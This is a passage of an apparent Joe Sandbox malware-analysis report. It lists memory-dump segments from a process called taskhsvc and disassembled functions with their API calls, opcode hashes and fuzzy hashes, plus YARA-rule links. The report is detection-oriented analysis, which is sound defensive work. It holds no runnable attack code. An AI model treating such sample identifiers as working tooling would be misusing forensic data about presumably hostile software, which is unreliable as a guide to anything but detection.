                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$FormatMessage_strdupabortexit
                                        • String ID:
                                        • API String ID: 1336406275-0
                                        • Opcode ID: f8b8d7b2cf585abb94a760a2117d19143b43910a779b19c4507e13d09f7b7217
                                        • Instruction ID: 593a7fe575ecd0680c20fafc8a6f6c34cc7d7801597714f7876bded56c6e868b
                                        • Opcode Fuzzy Hash: f8b8d7b2cf585abb94a760a2117d19143b43910a779b19c4507e13d09f7b7217
                                        • Instruction Fuzzy Hash: B51197B4A0430A9FDB00EFA9D5957AEBBF0BB44344F15442DE554E7380E774A984CBA2
                                        Function 00D159C4 Relevance: 3.0, APIs: 2, Instructions: 44COMMON
                                        Download Yara Rule
                                        APIs
                                        • _open.MSVCRT ref: 00D15A44
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D15A5A
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$_open
                                        • String ID:
                                        • API String ID: 627647723-0
                                        • Opcode ID: 2a056fb7d24233d97e670703d7ed8fa5fd898c978ef1ae30be29685672cafdbb
                                        • Instruction ID: b46f0429528006a49fed368a855f955e072b28729cc32c234400be58358bb79b
                                        • Opcode Fuzzy Hash: 2a056fb7d24233d97e670703d7ed8fa5fd898c978ef1ae30be29685672cafdbb
                                        • Instruction Fuzzy Hash: 281183B4E043099FCB40DFA9D58169EBBF1FB48340F518819E858E7340D774EA418F62
                                        Function 00D18B88 Relevance: 3.0, APIs: 2, Instructions: 44COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C319FB), ref: 00D18C4C
                                          • Part of subcall function 00D18B20: memset.MSVCRT ref: 00D18B46
                                          • Part of subcall function 00D18B20: GetSystemInfo.KERNELBASE ref: 00D18B56
                                          • Part of subcall function 00D18B20: __stack_chk_fail.LIBSSP-0 ref: 00D18B81
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • abort.MSVCRT ref: 00D18BEE
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strrchr$InfoSystemabortmemset
                                        • String ID:
                                        • API String ID: 1515217925-0
                                        • Opcode ID: 0ee9597e14f817a781a435d9a3db23dea7b450a05008159250ce533ddf78cbdc
                                        • Instruction ID: 238a10c4af6cadbb2618918d1e484990db6dc4c8878bbc1d2406839efc9d0550
                                        • Opcode Fuzzy Hash: 0ee9597e14f817a781a435d9a3db23dea7b450a05008159250ce533ddf78cbdc
                                        • Instruction Fuzzy Hash: B6115170A15305AFD700EF25E94128EBBF5EB41394F418908F490AB2D1DB79D9C99BB2
                                        Function 00C67FED Relevance: 3.0, APIs: 2, Instructions: 43stringCOMMON
                                        Download Yara Rule
                                        APIs
                                        • strlen.MSVCRT ref: 00C68049
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C68070
                                          • Part of subcall function 00C62113: __stack_chk_fail.LIBSSP-0 ref: 00C62349
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strlen
                                        • String ID:
                                        • API String ID: 1854388247-0
                                        • Opcode ID: 9df7c548a27bb23050fd7644d255fddfb944ab12d1e2450456a2d6d581d55b1a
                                        • Instruction ID: 69915a279d761b901f9b686b493a52098cc618c7c77a74afc244ff5491da5613
                                        • Opcode Fuzzy Hash: 9df7c548a27bb23050fd7644d255fddfb944ab12d1e2450456a2d6d581d55b1a
                                        • Instruction Fuzzy Hash: AF11C574E00609DFDF20EFA8C485AADB7F0AB04300F458966E9A4DB345D634E946CB65
                                        Function 00D211F6 Relevance: 3.0, APIs: 2, Instructions: 38COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D21197: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00D21389), ref: 00D211EF
                                        • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00D19B54), ref: 00D2127B
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • abort.MSVCRT ref: 00D2125C
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
